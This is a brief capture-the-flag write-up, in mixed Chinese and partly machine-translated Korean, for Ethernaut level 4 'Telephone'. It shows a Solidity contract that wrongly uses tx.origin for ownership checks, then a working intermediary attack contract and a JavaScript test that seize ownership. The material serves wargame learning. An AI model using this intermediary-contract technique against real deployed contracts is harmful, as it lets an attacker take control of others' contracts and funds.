Ethernaut系列-레벨 4(전화)

3790 단어

레벨 4 (전화)




// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}


通关要求



소유자 设为player

要点



合约里判断调用人, 一定要用 msg.sender, 不要用tx.origin

解题思路



写个合约调用关卡合约,再用javascript调用自己的合约,tx.origin과msg.sender就会不一定

계약/04TelephoneRun.sol

interface ILevel {
    function changeOwner(address _owner) external;
}

contract TelephoneRun {    
    function run(address _levelAddress) external {     
        ILevel(_levelAddress).changeOwner(msg.sender);
    }
}


test/04Telephone.js

  it("attacks", async function () {
    await runContract.connect(player).run(levelContract.address);
  });

좋은 웹페이지 즐겨찾기